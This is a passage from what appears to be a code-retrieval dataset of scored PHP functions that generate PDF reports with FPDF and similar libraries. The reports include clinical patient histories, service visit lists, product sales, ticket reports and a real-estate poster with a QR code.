a\");\r\n\r\n\r\n //create a FPDF object\r\n $pdf = new FPDF('P' , 'mm' , 'A4');\r\n\r\n //set document properties\r\n $pdf->SetAuthor('CPCH - KOICA');\r\n $pdf->SetTitle('Recibo Servicio');\r\n\r\n //encabezado\r\n $pdf->setStrTipoEncabezado(8);\r\n $pdf->Header();\r\n //\r\n //Envia a otra pagina\r\n $pdf->setAutoPagebreak(true,'');\r\n\r\n //set font for the entire document\r\n $pdf->SetFont('Arial','B',35);\r\n $pdf->SetTextColor(50,60,100);\r\n\r\n //set up a page\r\n $pdf->AddPage('P');\r\n $pdf->SetDisplayMode(75,'default');\r\n\r\n //insert an image and make it a link\r\n //$pdf->Image('logo.png',10,20,33,0,' ','http://www.fpdf.org/');\r\n\r\n $query = new clQuery();\r\n\r\n //Nombre Procedimientos Almacenados\r\n $ProcedimientoAlmacenado = sprintf(\"CALL sprpthistoriaclinicapacientemedico('%d','%d','%d');\", $this->getStrTipoMedico(),$this->getStrEspecialidadMedico(), $this->getStrNumeroHistoriaClinicaPaciente());\r\n //$ProcedimientoAlmacenado = sprintf(\"CALL sprpthistoriaclinicapacientemedico('%d','%d','%d');\", 5,5,7);\r\n $query->setStrProcedimientoAlmacenado($ProcedimientoAlmacenado);\r\n $resultado = $query->getStrSqlSelect();\r\n\r\n if( count($resultado) > 0 ) {\r\n foreach( $resultado as $rst):\r\n $pdf->Ln(2);\r\n\r\n $NHC = \"\";\r\n switch (strlen($rst[\"nhc\"])){\r\n case 1:\r\n $NHC = \"0000\".$rst[\"nhc\"];\r\n break;\r\n case 2:\r\n $NHC = \"000\".$rst[\"nhc\"];\r\n break;\r\n case 3:\r\n $NHC = \"00\".$rst[\"nhc\"];\r\n break;\r\n case 4:\r\n $NHC = \"0\".$rst[\"nhc\"];\r\n break;\r\n default:\r\n $NHC = $rst[\"nhc\"];\r\n break;\r\n }\r\n\r\n $pdf->SetFont('Arial','B',9);\r\n $pdf->Cell(20,5,utf8_decode('MEDICO: '),1,0,'L',0);\r\n\r\n $pdf->SetFont('Arial','',8);\r\n $pdf->Cell(100,5,utf8_decode(utf8_encode($rst[\"medico\"])),1,0,'L',0);\r\n\r\n $pdf->SetFont('Arial','B',9);\r\n $pdf->Cell(30,5,utf8_decode('FECHA VISITA: '),1,0,'L',0);\r\n\r\n $pdf->SetFont('Arial','',8);\r\n $pdf->Cell(40,5,utf8_decode(utf8_encode($rst[\"fechahistoriaclinica\"])),1,1,'C',0);\r\n\r\n $pdf->SetFont('Arial','B',9);\r\n $pdf->Cell(20,5,utf8_decode('SERVICIO: '),1,0,'L',0);\r\n\r\n $pdf->SetFont('Arial','',8);\r\n $pdf->Cell(60,5,utf8_decode(utf8_encode($rst[\"departamento\"])),1,0,'L',0);\r\n\r\n $pdf->SetFont('Arial','B',9);\r\n $pdf->Cell(20,5,utf8_decode('UNIDAD: '),1,0,'L',0);\r\n\r\n $pdf->SetFont('Arial','',8);\r\n $pdf->Cell(50,5,utf8_decode(utf8_encode($rst[\"unidad\"])),1,0,'L',0);\r\n\r\n $pdf->SetFont('Arial','B',9);\r\n $pdf->Cell(20,5,utf8_decode('EDADES: '),1,0,'L',0);\r\n\r\n $pdf->SetFont('Arial','',8);\r\n $pdf->Cell(20,5,utf8_decode(utf8_encode($rst[\"subarea\"])),1,1,'L',0);\r\n\r\n $pdf->SetFont('Arial','B',9);\r\n $pdf->Cell(20,5,utf8_decode('NHC: '),1,0,'L',0);\r\n\r\n $pdf->SetFont('Arial','',8);\r\n $pdf->Cell(20,5,utf8_decode(utf8_encode($NHC)),1,0,'C',0);\r\n\r\n $pdf->SetFont('Arial','B',9);\r\n $pdf->Cell(20,5,utf8_decode('CEDULA: '),1,0,'L',0);\r\n\r\n $pdf->SetFont('Arial','',8);\r\n $pdf->Cell(20,5,utf8_decode(utf8_encode($rst[\"cedula\"])),1,0,'C',0);\r\n\r\n $pdf->SetFont('Arial','B',9);\r\n $pdf->Cell(20,5,utf8_decode('PACIENTE: '),1,0,'L',0);\r\n\r\n $pdf->SetFont('Arial','',8);\r\n $pdf->Cell(90,5,utf8_decode(utf8_encode($rst[\"paciente\"])),1,1,'L',0);\r\n\r\n $pdf->SetFont('Arial','B',9);\r\n $pdf->Cell(20,5,utf8_decode('SEXO: '),1,0,'L',0);\r\n\r\n $pdf->SetFont('Arial','',8);\r\n $pdf->Cell(60,5,utf8_decode(utf8_encode($rst[\"sexo\"])),1,0,'L',0);\r\n\r\n $pdf->SetFont('Arial','B',9);\r\n $pdf->Cell(30,5,utf8_decode('ESTADO CIVIL: '),1,0,'L',0);\r\n\r\n $pdf->SetFont('Arial','',8);\r\n $pdf->Cell(30,5,utf8_decode(utf8_encode($rst[\"estadocivil\"])),1,0,'L',0);\r\n\r\n $pdf->SetFont('Arial','B',9);\r\n $pdf->Cell(30,5,utf8_decode('TIPO SANGRE: '),1,0,'L',0);\r\n\r\n $pdf->SetFont('Arial','',8);\r\n $pdf->Cell(20,5,utf8_decode(utf8_encode($rst[\"tiposangre\"])),1,1,'L',0);\r\n\r\n $pdf->SetFont('Arial','B',9);\r\n $pdf->Cell(20,5,utf8_decode('PROVINCIA: '),1,0,'L',0);\r\n\r\n $pdf->SetFont('Arial','',8);\r\n $pdf->Cell(40,5,utf8_decode(utf8_encode($rst[\"provincia\"])),1,0,'L',0);\r\n\r\n $pdf->SetFont('Arial','B',9);\r\n $pdf->Cell(20,5,utf8_decode('CANTON: '),1,0,'L',0);\r\n\r\n $pdf->SetFont('Arial','',8);\r\n $pdf->Cell(40,5,utf8_decode(utf8_encode($rst[\"canton\"])),1,0,'L',0);\r\n\r\n $pdf->SetFont('Arial','B',9);\r\n $pdf->Cell(30,5,utf8_decode('PARROQUIA: '),1,0,'L',0);\r\n\r\n $pdf->SetFont('Arial','',8);\r\n $pdf->Cell(40,5,utf8_decode(utf8_encode($rst[\"parroquia\"])),1,1,'L',0);\r\n\r\n $pdf->SetFont('Arial','B',9);\r\n $pdf->Cell(20,5,utf8_decode('DIRECCION: '),1,0,'L',0);\r\n\r\n $pdf->SetFont('Arial','',8);\r\n $pdf->Cell(60,5,utf8_decode(utf8_encode($rst[\"direccion\"])),1,0,'L',0);\r\n\r\n $pdf->SetFont('Arial','B',9);\r\n $pdf->Cell(30,5,utf8_decode('TELEFONO: '),1,0,'L',0);\r\n\r\n $pdf->SetFont('Arial','',8);\r\n $pdf->Cell(25,5,utf8_decode(utf8_encode($rst[\"telefono\"])),1,0,'L',0);\r\n\r\n $pdf->SetFont('Arial','B',9);\r\n $pdf->Cell(30,5,utf8_decode('CELULAR: '),1,0,'L',0);\r\n\r\n $pdf->SetFont('Arial','',8);\r\n $pdf->Cell(25,5,utf8_decode(utf8_encode($rst[\"celular\"])),1,1,'L',0);\r\n\r\n $pdf->SetFont('Arial','B',9);\r\n $pdf->Cell(40,5,utf8_decode('FECHA NACIMIENTO: '),1,0,'L',0);\r\n\r\n $pdf->SetFont('Arial','',8);\r\n $pdf->Cell(65,5,utf8_decode(utf8_encode($rst[\"fechanacimiento\"])),1,0,'L',0);\r\n\r\n $pdf->SetFont('Arial','B',9);\r\n $pdf->Cell(30,5,utf8_decode('EM@IL: '),1,0,'L',0);\r\n\r\n $pdf->SetFont('Arial','',8);\r\n $pdf->Cell(55,5,utf8_decode(utf8_encode($rst[\"email\"])),1,1,'L',0);\r\n\r\n $pdf->Ln(4);\r\n\r\n $pdf->SetFont('Arial','B',9);\r\n $pdf->Cell(15,5,utf8_decode('TALLA: '),1,0,'L',0);\r\n\r\n $pdf->SetFont('Arial','',8);\r\n $pdf->Cell(10,5,utf8_decode(utf8_encode($rst[\"talla\"])),1,0,'C',0);\r\n\r\n $pdf->SetFont('Arial','B',9);\r\n $pdf->Cell(15,5,utf8_decode('PESO: '),1,0,'L',0);\r\n\r\n $pdf->SetFont('Arial','',8);\r\n $pdf->Cell(10,5,utf8_decode(utf8_encode($rst[\"peso\"])),1,0,'C',0);\r\n\r\n $pdf->SetFont('Arial','B',9);\r\n $pdf->Cell(15,5,utf8_decode('GRASA: '),1,0,'L',0);\r\n\r\n $pdf->SetFont('Arial','',8);\r\n $pdf->Cell(10,5,utf8_decode(utf8_encode($rst[\"grasa\"])),1,0,'C',0);\r\n\r\n $pdf->SetFont('Arial','B',9);\r\n $pdf->Cell(40,5,utf8_decode('PRESION ARTERIAL: '),1,0,'L',0);\r\n\r\n $pdf->SetFont('Arial','',8);\r\n $pdf->Cell(10,5,utf8_decode(utf8_encode($rst[\"presionarterial\"])),1,0,'C',0);\r\n\r\n $pdf->SetFont('Arial','B',9);\r\n $pdf->Cell(30,5,utf8_decode('TEMPERATURA: '),1,0,'L',0);\r\n\r\n $pdf->SetFont('Arial','',8);\r\n $pdf->Cell(10,5,utf8_decode(utf8_encode($rst[\"temperatura\"])),1,0,'C',0);\r\n\r\n $pdf->SetFont('Arial','B',9);\r\n $pdf->Cell(15,5,utf8_decode('PULSO: '),1,0,'L',0);\r\n\r\n $pdf->SetFont('Arial','',8);\r\n $pdf->Cell(10,5,utf8_decode(utf8_encode($rst[\"pulso\"])),1,1,'C',0);\r\n\r\n $pdf->Ln(4);\r\n\r\n $pdf->SetFont('Arial','B',9);\r\n $pdf->Cell(0,5,utf8_decode('MOTIVO CONSULTA: '),0,1,'L',0);\r\n $pdf->SetFont('Arial','',8);\r\n $pdf->MultiCell(0, 5, $rst[\"motivoconsulta\"], 1, \"J\", 0);\r\n\r\n $pdf->Ln(2);\r\n\r\n $pdf->SetFont('Arial','B',9);\r\n $pdf->Cell(0,5,utf8_decode('EXAMEN FISICO: '),0,1,'L',0);\r\n $pdf->SetFont('Arial','',8);\r\n $pdf->MultiCell(0, 5, $rst[\"examenfisico\"], 1, \"J\", 0);\r\n\r\n $pdf->Ln(2);\r\n\r\n $pdf->SetFont('Arial','B',9);\r\n $pdf->Cell(0,5,utf8_decode('TRATAMIENTO: '),0,1,'L',0);\r\n $pdf->SetFont('Arial','',8);\r\n $pdf->MultiCell(0, 5, $rst[\"tratamiento\"], 1, \"J\", 0);\r\n\r\n $pdf->Ln(2);\r\n\r\n $pdf->SetFont('Arial','B',9);\r\n $pdf->Cell(0,5,utf8_decode('OBSERVACIONES: '),0,1,'L',0);\r\n $pdf->SetFont('Arial','',8);\r\n $pdf->MultiCell(0, 5, $rst[\"observaciones\"], 1, \"J\", 0);\r\n\r\n //Fecha Impresion\r\n $pdf->Ln(1);\r\n $pdf->SetFont('Arial','B',6);\r\n $pdf->Cell(20,4,utf8_decode('Fecha Impresión:'),0,0,'L',0);\r\n $pdf->SetFont('Arial','',6);\r\n $pdf->Cell(20,4,\" \".utf8_decode($fechaimpresion),0,1,'L',0);\r\n\r\n// $pdf->Ln(260 - $pdf->GetY());\r\n\r\n\r\n for($x = 0; $x < (260 - $pdf->GetY()); $x++){\r\n $pdf->Ln(10);\r\n }\r\n\r\n $pdf->setAutoPagebreak(true,50);\r\n\r\n endforeach;\r\n\r\n\r\n }else{\r\n //Set x and y position for the main text, reduce font size and write content\r\n $pdf->SetXY (30,100);\r\n $pdf->SetFontSize(8);\r\n $pdf->Write(5,utf8_decode(' No existe Informacion registrada'));\r\n }\r\n\r\n //Pie Pagina\r\n $pdf->Footer();\r\n\r\n //Para poner la Pagina 1/(1...n)\r\n $pdf->AliasNbPages();\r\n\r\n //Output the document\r\n $fecha = date(\"YmdHis\").'.pdf';\r\n $pdf->Output($fecha,'D');\r\n\r\n }", "title": "" }, { "docid": "fe8512bde5fb303c24205348984e300f", "score": "0.6972667", "text": "public function getStrRptAtencionPacienteServicio()\r\n {\r\n define('FPDF_FONTPATH',FONT_PATH);\r\n include_once ( CLASS_PATH . \"class.clfpdf.php\" );\r\n\r\n //Limpia el buffer si no sale un error\r\n ob_end_clean();\r\n\r\n $fechaimpresion = date(\"Y/m/d H:i:s a\");\r\n\r\n\r\n //create a FPDF object\r\n $pdf = new FPDF('P' , 'mm' , 'A4');\r\n\r\n //set document properties\r\n $pdf->SetAuthor('CPCH - KOICA');\r\n $pdf->SetTitle('Recibo Servicio');\r\n\r\n //encabezado\r\n $pdf->setStrTipoEncabezado(6);\r\n $pdf->Header();\r\n //\r\n //Envia a otra pagina\r\n $pdf->setAutoPagebreak(true,'');\r\n\r\n //set font for the entire document\r\n $pdf->SetFont('Arial','B',35);\r\n $pdf->SetTextColor(50,60,100);\r\n\r\n //set up a page\r\n $pdf->AddPage('L');\r\n $pdf->SetDisplayMode(75,'default');\r\n\r\n //insert an image and make it a link\r\n //$pdf->Image('logo.png',10,20,33,0,' ','http://www.fpdf.org/');\r\n\r\n $query = new clQuery();\r\n\r\n //Nombre Procedimientos Almacenados\r\n $ProcedimientoAlmacenado = sprintf(\"CALL sprptatencionpacienteservicio('%d','%s','%s');\", $this->getStrTipoMedico(), $this->getStrFechaInicio(), $this->getStrFechaFin());\r\n $query->setStrProcedimientoAlmacenado($ProcedimientoAlmacenado);\r\n $resultado = $query->getStrSqlSelect();\r\n\r\n if( count($resultado) > 0 ) {\r\n $i = 0;\r\n $j = 0;\r\n foreach( $resultado as $rst):\r\n $j = $j + 1;\r\n\r\n if ($i == 0){\r\n $pdf->Ln(2);\r\n\r\n $pdf->SetFont('Arial','B',9);\r\n $pdf->Cell(30,10,utf8_decode('SERVICIO: '),1,0,'C',0);\r\n\r\n $pdf->SetFont('Arial','',8);\r\n $pdf->Cell(55,10,utf8_decode(utf8_encode($rst[\"departamento\"])),1,1,'C',0);\r\n\r\n $pdf->Ln(2);\r\n\r\n $pdf->SetFont('Arial','B',8);\r\n $pdf->Cell(10,6,utf8_decode('N°'),1,0,'C',0);\r\n $pdf->Cell(20,6,utf8_decode('Fec. Vis.'),1,0,'C',0);\r\n $pdf->Cell(20,6,utf8_decode('NHC'),1,0,'C',0);\r\n $pdf->Cell(60,6,utf8_decode('Paciente'),1,0,'C',0);\r\n $pdf->Cell(10,6,utf8_decode('Sexo'),1,0,'C',0);\r\n $pdf->Cell(20,6,utf8_decode('Fec. Nac.'),1,0,'C',0);\r\n $pdf->Cell(60,6,utf8_decode('Unidad'),1,0,'C',0);\r\n $pdf->Cell(20,6,utf8_decode('Edades'),1,0,'C',0);\r\n $pdf->Cell(57,6,utf8_decode('Médico'),1,1,'C',0);\r\n\r\n $i = 1;\r\n }\r\n\r\n $NHC = \"\";\r\n switch (strlen($rst[\"nhc\"])){\r\n case 1:\r\n $NHC = \"0000\".$rst[\"nhc\"];\r\n break;\r\n case 2:\r\n $NHC = \"000\".$rst[\"nhc\"];\r\n break;\r\n case 3:\r\n $NHC = \"00\".$rst[\"nhc\"];\r\n break;\r\n case 4:\r\n $NHC = \"0\".$rst[\"nhc\"];\r\n break;\r\n default:\r\n $NHC = $rst[\"nhc\"];\r\n break;\r\n }\r\n\r\n $pdf->SetFont('Arial','',7);\r\n $pdf->Cell(10,5,$j,1,0,'C',0);\r\n $pdf->Cell(20,5,$rst[\"fecha\"],1,0,'C',0);\r\n $pdf->Cell(20,5,$NHC,1,0,'C',0);\r\n $pdf->Cell(60,5,utf8_decode(utf8_encode($rst[\"paciente\"])),1,0,'L',0);\r\n $pdf->Cell(10,5,utf8_decode(utf8_encode($rst[\"sexo\"])),1,0,'C',0);\r\n $pdf->Cell(20,5,utf8_decode(utf8_encode($rst[\"fechanacimiento\"])),1,0,'L',0);\r\n $pdf->Cell(60,5,utf8_decode(utf8_encode($rst[\"unidad\"])),1,0,'L',0);\r\n $pdf->Cell(20,5,utf8_decode(utf8_encode($rst[\"subarea\"])),1,0,'L',0);\r\n $pdf->Cell(57,5,utf8_decode(utf8_encode($rst[\"medico\"])),1,1,'L',0);\r\n endforeach;\r\n\r\n //Fecha Impresion\r\n $pdf->Ln(1);\r\n $pdf->SetFont('Arial','B',6);\r\n $pdf->Cell(20,4,utf8_decode('Fecha Impresión:'),0,0,'L',0);\r\n $pdf->SetFont('Arial','',6);\r\n $pdf->Cell(20,4,\" \".utf8_decode($fechaimpresion),0,1,'L',0);\r\n\r\n\r\n// $pdf->Ln(20);\r\n// $pdf->SetFont('Arial','B',10);\r\n// $pdf->SetX (40);\r\n// $pdf->Cell(50,4,'________________________________',0,0,'C',0);\r\n// $pdf->Cell(40,4,'',0,0,'C',0);\r\n// $pdf->Cell(50,4,'________________________________',0,1,'C',0);\r\n// $pdf->SetX (40);\r\n// $pdf->Cell(50,4,utf8_decode(RESPONSABLE),0,0,'C',0);\r\n// $pdf->Cell(40,4,'',0,0,'C',0);\r\n// $pdf->Cell(50,4,utf8_decode(TESORERO),0,1,'C',0);\r\n// $pdf->SetX (40);\r\n// $pdf->Cell(50,4,'RESPONSABLE',0,0,'C',0);\r\n// $pdf->Cell(40,4,'',0,0,'C',0);\r\n// $pdf->Cell(50,4,'TESORERO',0,1,'C',0);\r\n\r\n }else{\r\n //Set x and y position for the main text, reduce font size and write content\r\n $pdf->SetXY (30,100);\r\n $pdf->SetFontSize(8);\r\n $pdf->Write(5,utf8_decode(' No existe Informacion registrada'));\r\n }\r\n\r\n //Pie Pagina\r\n $pdf->Footer();\r\n\r\n //Para poner la Pagina 1/(1...n)\r\n $pdf->AliasNbPages();\r\n\r\n //Output the document\r\n $fecha = date(\"YmdHis\").'.pdf';\r\n $pdf->Output($fecha,'D');\r\n\r\n }", "title": "" }, { "docid": "ca849bf3ef0c0d00cee3f9c47047c76a", "score": "0.69624335", "text": "public function ventas_pdf_productos($fech1, $fech2, $tipodocumento, $codigo, $flagPdf = 1, $enviarcorreo = false){\n\n $medidas = \"a4\"; // a4 - carta\n $this->pdf = new pdfGeneral('P', 'mm', $medidas, true, 'UTF-8', false);\n $this->pdf->SetMargins(10, 40, 10); // Cada 10 es 1cm - Como es hoja estoy tratando las medidad en cm -> Rawil\n $this->pdf->SetTitle(\"Ventas por producto\");\n $this->pdf->SetFont('times', '', 8);\n if ($flagPdf == 1)\n $this->pdf->setPrintHeader(true);\n else\n $this->pdf->setPrintHeader(false);\n\n $this->pdf->setPrintFooter(false);\n\n $this->pdf->SetAutoPageBreak(true, 20);\n $this->pdf->AddPage();\n \n /* Listado de detalles */\n $listado = $this->ci->comprobante_model->buscar_comprobante_producto($fech1, $fech2, $tipodocumento, $codigo);\n $detaProductos = \"\";\n $j = 1;\n foreach ($listado as $indice => $valor) {\n $bgcolor = ( $indice % 2 == 0 ) ? \"#FFFFFF\" : \"#F1F1F1\";\n\n switch ( $valor->CPC_TipoDocumento ) {\n case 'F':\n $tipodocumento = \"FACTURA\";\n break;\n case 'B':\n $tipodocumento = \"BOLETA\";\n break;\n case 'N':\n $tipodocumento = \"COMPROBANTE\";\n break;\n \n default:\n $tipodocumento = \"COMPROBANTE\";\n break;\n }\n\n $detaProductos = $detaProductos. '\n <tr bgcolor=\"'.$bgcolor.'\">\n <td style=\"border-left: #cccccc 1mm solid; border-right: #cccccc 1mm solid; border-bottom:#cccccc 1mm solid; border-top:#cccccc 1mm solid; text-align:center;\">'.$j.'</td>\n <td style=\"border-left: #cccccc 1mm solid; border-right: #cccccc 1mm solid; border-bottom:#cccccc 1mm solid; border-top:#cccccc 1mm solid; text-align:center;\">'.$valor->CPC_Fecha.'</td>\n <td style=\"border-left: #cccccc 1mm solid; border-right: #cccccc 1mm solid; border-bottom:#cccccc 1mm solid; border-top:#cccccc 1mm solid; text-align:right;\">'.$tipodocumento.'</td>\n <td style=\"border-left: #cccccc 1mm solid; border-right: #cccccc 1mm solid; border-bottom:#cccccc 1mm solid; border-top:#cccccc 1mm solid; text-align:center;\">'.$valor->CPC_Serie.'-'.$this->getOrderNumeroSerie($valor->CPC_Numero).'</td>\n <td style=\"border-left: #cccccc 1mm solid; border-right: #cccccc 1mm solid; border-bottom:#cccccc 1mm solid; border-top:#cccccc 1mm solid; text-align:left;\">'.$valor->nombre.'</td>\n <td style=\"border-left: #cccccc 1mm solid; border-right: #cccccc 1mm solid; border-bottom:#cccccc 1mm solid; border-top:#cccccc 1mm solid; text-align:right;\">'.$valor->CPDEC_Cantidad.'</td>\n <td style=\"border-left: #cccccc 1mm solid; border-right: #cccccc 1mm solid; border-bottom:#cccccc 1mm solid; border-top:#cccccc 1mm solid; text-align:right;\">'.$valor->CPDEC_Total.'</td>\n </tr>';\n $j++;\n }\n\n\n $detalleHTML = '\n <table style=\"text-align:left;\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\">\n <tr>\n <td style=\"width:12cm;\"></td>\n <td style=\"width:4.5cm; font-weight:normal; font-style:italic; text-align:right; font-size:12pt;\">Ventas por producto</td>\n <td style=\"width:3.5cm; font-weight:bold; font-size:14pt; color:#000;\"></td>\n </tr>\n </table>\n ';\n $this->pdf->writeHTML($detalleHTML,false,false,true,'');\n\n $detalleHTML = '<table style=\"font-size:7.5pt;\" cellpadding=\"0.1cm\" border=\"0\">\n <tr>\n <td style=\"width:4.5cm; font-style:normal; font-weight:bold;\">USUARIO:</td>\n <td style=\"width:15cm; text-indent:0.1cm; text-align:justification\">'.$this->nombre_persona.'</td>\n </tr>\n <tr>\n <td style=\"width:4.5cm; font-style:normal; font-weight:bold;\">DESCRIPCIÓN DEL PRODUCTO:</td>\n <td style=\"width:15cm; text-indent:0.1cm; text-align:justification\">'.$listado[0]->PROD_Nombre.' - '.$listado[0]->MARCC_Descripcion.'</td>\n </tr>\n <tr>\n <td style=\"width:4.5cm; font-style:normal; font-weight:bold;\">FECHA INICIO:</td>\n <td style=\"width:15cm; text-indent:0.1cm; text-align:justification\">'.mysql_to_human($fech1).'</td>\n </tr>\n <tr>\n <td style=\"width:4.5cm; font-style:normal; font-weight:bold;\">FECHA FINAL:</td>\n <td style=\"width:15cm; text-indent:0.1cm; text-align:justification\">'.mysql_to_human($fech2).'</td>\n </tr>\n </table>';\n\n $this->pdf->writeHTML($detalleHTML,true,false,true,'');\n\n $productoHTML = '\n <table cellpadding=\"0.05cm\">\n <tr style=\"font-size:8pt;\">\n <th colspan=\"8\" style=\"font-style:normal; font-weight:bold; text-align:left; border-bottom: 1px #000 solid;\">DOCUMENTOS EMITIDOS</th>\n </tr>\n <tr bgcolor=\"#F1F1F1\" style=\"font-size:7.5pt;\">\n <th style=\"border-left: #cccccc 1mm solid; border-right: #cccccc 1mm solid; border-bottom:#cccccc 1mm solid; border-top:#cccccc 1mm solid; font-style:normal; font-weight:bold; text-align:center; width:1.0cm;\">ITEM</th>\n <th style=\"border-left: #cccccc 1mm solid; border-right: #cccccc 1mm solid; border-bottom:#cccccc 1mm solid; border-top:#cccccc 1mm solid; font-style:normal; font-weight:bold; text-align:center; width:2.0cm;\">FECHA</th>\n <th style=\"border-left: #cccccc 1mm solid; border-right: #cccccc 1mm solid; border-bottom:#cccccc 1mm solid; border-top:#cccccc 1mm solid; font-style:normal; font-weight:bold; text-align:center; width:3.0cm;\">DOCUMENTO</th>\n <th style=\"border-left: #cccccc 1mm solid; border-right: #cccccc 1mm solid; border-bottom:#cccccc 1mm solid; border-top:#cccccc 1mm solid; font-style:normal; font-weight:bold; text-align:center; width:2.5cm;\">SERIE/NÚMERO</th>\n <th style=\"border-left: #cccccc 1mm solid; border-right: #cccccc 1mm solid; border-bottom:#cccccc 1mm solid; border-top:#cccccc 1mm solid; font-style:normal; font-weight:bold; text-align:center; width:7.0cm;\">RAZÓN SOCIAL</th>\n <th style=\"border-left: #cccccc 1mm solid; border-right: #cccccc 1mm solid; border-bottom:#cccccc 1mm solid; border-top:#cccccc 1mm solid; font-style:normal; font-weight:bold; text-align:right; width:2.0cm;\">CANTIDAD</th>\n <th style=\"border-left: #cccccc 1mm solid; border-right: #cccccc 1mm solid; border-bottom:#cccccc 1mm solid; border-top:#cccccc 1mm solid; font-style:normal; font-weight:bold; text-align:right; width:1.5cm;\">TOTAL</th>\n </tr>\n '.$detaProductos.'\n </table>';\n $this->pdf->writeHTML($productoHTML,true,false,true,'');\n \n $nameFile = \"Ventas por producto.pdf\";\n\n if ($enviarcorreo == false)\n $this->pdf->Output($nameFile, 'I');\n else\n return $this->pdf->Output($nameFile, 'S');\n }", "title": "" }, { "docid": "bf4e5a040ef86084d570aff06539e271", "score": "0.6945368", "text": "public function postCreePdf()\n {\n\t\tif (substr(Session::get('dossCourant'), -7)==\"Partage\")//choix d'un fichier dans le dossier \"Partage\"\n\t\t{\n\t\t\t//initialiosation du chemin\n\t\t\t$fichier=Input::get('dossier').\"/\".Input::get('fichier');\n\t\t\t//ouverture du fichier et lecture de la premiere ligne (contenant l'id)\n\t\t\t$fic=fopen($fichier, 'r');\n\t\t\t$ligne=fgets($fic);\n\t\t\tfclose($fic);\n\t\t\t//récupération de l'id du fichier\n\t\t\t$id=intval($ligne);\n\t\t\t//recuperation du chemin vers le fichier\n\t\t\t$req=DB::table('fichier')->where('fich_id', $id)->first();\n\t\t\t$dossier=$req->fich_chemin;\n\t\t\t$fichier=$dossier.\"/\".Input::get('fichier');\n\t\t}\n\t\telse//fichier non partage\n\t\t{\n\t\t\t//initialisation du chemin\n\t\t\t$fichier=Input::get('dossier').\"/\".Input::get('fichier');\n\t\t}\n\n\t\t//creation du fichier\n\t\t$pdf = new PDF();\n\t\t//pagination\n\t\t$pdf->AliasNbPages();\n\t\t// Chargement des données\n\t\t$data = $pdf->LoadData($fichier);\n\t\t// Titres des colonnes\n\t\t$header = $data[1];\n\t\t$pdf->SetFont('Arial','',14);\n\t\t$pdf->AddPage();\n\t\t$pdf->FancyTable($header,$data);\n\t\t//chemin de création du fichier provisoire\n\t\t$chemin=\"F:/LICENCE_INFO/logiciels/xampp/htdocs/SIW2014-1/app/\".Input::get('fichier').\".pdf\";\n\t\t//creation du fichier provisoire\n\t\t$pdf->Output($chemin);\n\t\t//téléchargement du fichier\n\t\treturn Response::download($chemin);\n\t\t//effacement du fichier provisoire\n\t\tunlink($chemin);\n }", "title": "" }, { "docid": "cfc9df0f6607010e63b7d5b1a831eccb", "score": "0.69430286", "text": "function reporte($obj){\n $pdf = new PDF();\n $pdf->AliasNbPages();\n $pdf->AddPage();\n\n\n $pdf->SetX(30);\n $pdf->SetFont('Helvetica','B',13);\n $pdf->Cell(0,10,'ID Reporte: '.$obj->id_reporte,0,1);\n $pdf->SetX(30);\n $pdf->Cell(0,10,'Cliente: '.$obj->cliente,0,1);\n $pdf->SetX(30);\n $pdf->Cell(0,10,'ID Ticket: '.$obj->id_ticket,0,1);\n $pdf->SetX(30);\n $pdf->Cell(0,10,'Contacto: '.$obj->contacto,0,1);\n $pdf->SetX(30);\n $pdf->Cell(0,10,'Solicitado por: '.$obj->solicitadopor,0,1);\n $pdf->SetX(30);\n $pdf->Cell(0,10,'Partes / Descripcion: '.$obj->partesdescripcion,0,1);\n $pdf->SetX(30);\n $pdf->Cell(0,10,'Tareas: '.$obj->tareas,0,1);\n $pdf->SetX(30);\n $pdf->Cell(0,10,'Tipo: '.$obj->tipo,0,1);\n $pdf->SetX(30);\n $pdf->Cell(0,10,'Hora de llegada: '.$obj->horallegada,0,1);\n $pdf->SetX(30);\n $pdf->Cell(0,10,'Hora de salida: '.$obj->horasalida,0,1);\n $pdf->SetX(30);\n $pdf->Cell(0,10,'Tiempo de traslado: '.$obj->tiempotraslado,0,1);\n $pdf->SetX(30);\n $pdf->Cell(0,10,'Fecha: '.$obj->fecha,0,1);\n\n $pdf->Output();\n }", "title": "" }, { "docid": "8059fa12083e294d83e621b9aadaa2d8", "score": "0.6937483", "text": "function CuerpoFicha($datos) \n\t{\n\t\t// Documento\n\t\t$this->pdf = new PDF_App_Cartel();\n\t\t$this->pdf->SetMostrarLogo(false);\n\t\t$this->pdf->SetTopMargin(5);\n\t\t$this->pdf->AddPage();\n\t\t\n\t\t$this->pdf->SetTextColor(0,0,0);\n\t\t$this->pdf->SetDrawColor(0,0,0);\n\t\t$this->pdf->SetFillColor(0,0,0);\n\t\t\n\t\t// CABECERA\n\t\tinclude(PATHINCLUDE_FRAMEWORK_LIBRERIAS.'phpqrcode/qrlib.php');\n\t \n\t\t$tempDir = PATHINCLUDE_FRAMEWORK_DOC. \"inmuebles/inmueble_\".$datos['inmueble'].\"/carteles/\"; \n\t\t \n\t\t$codeContents = $datos['enlace_web']; \n\t\t \n\t\t$fileName = 'qr_code_cartel_'.$datos['id_cartel'].'.png'; \n\t\t \n\t\t$pngAbsoluteFilePath = $tempDir.$fileName; \n\t\t \n\t\tQRcode::png($codeContents, $pngAbsoluteFilePath);\n\t\t\n\t\t$this->pdf->Image($pngAbsoluteFilePath, NULL, 5, 33,33);\n\t\t\n\t\t$this->pdf->Image(PATHINCLUDE_FRAMEWORK_IMG.\"logo_pdf.png\", 167, 5, 31,31);\n\t\t\n\t\t// Texto de opción\n\t\tif($datos['opcion_vivienda']==1)\n\t\t\t$datos['texto_opcion_vivienda']=\"SE VENDE\";\n\t\t\t\n\t\tif($datos['opcion_vivienda']==2)\n\t\t\t$datos['texto_opcion_vivienda']=\"SE ALQUILA\";\n\t\t\t\n\t\t$this->pdf->SetFont('Arial','B',35);\n\t\t$this->pdf->Ln(5);\n\t\t$this->pdf->MultiCell(190,5,$datos['texto_opcion_vivienda'],0,'C',0);\n\t\t\n\t\t$this->pdf->Ln(13);\n\t\t\n\t\t// Certificación\n\t\tif(!is_null($datos['certificacion_energetica']) && $datos['certificacion_energetica']!=0)\n\t\t{\n\t\t\t$coor_Y=$this->pdf->GetY();\n\t\t\t$this->pdf->Image(PATHINCLUDE_FRAMEWORK_IMG.\"certificacion_energetica/IDAE.jpg\",NULL,NULL,165,27);\n\t\t\t$this->pdf->Image(PATHINCLUDE_FRAMEWORK_IMG.\"certificacion_energetica/logo.jpg\",180,$coor_Y,20,27);\n\t\t\t$this->pdf->Ln(5);\n\t\t}\n\t\t\n\t\t// Datos 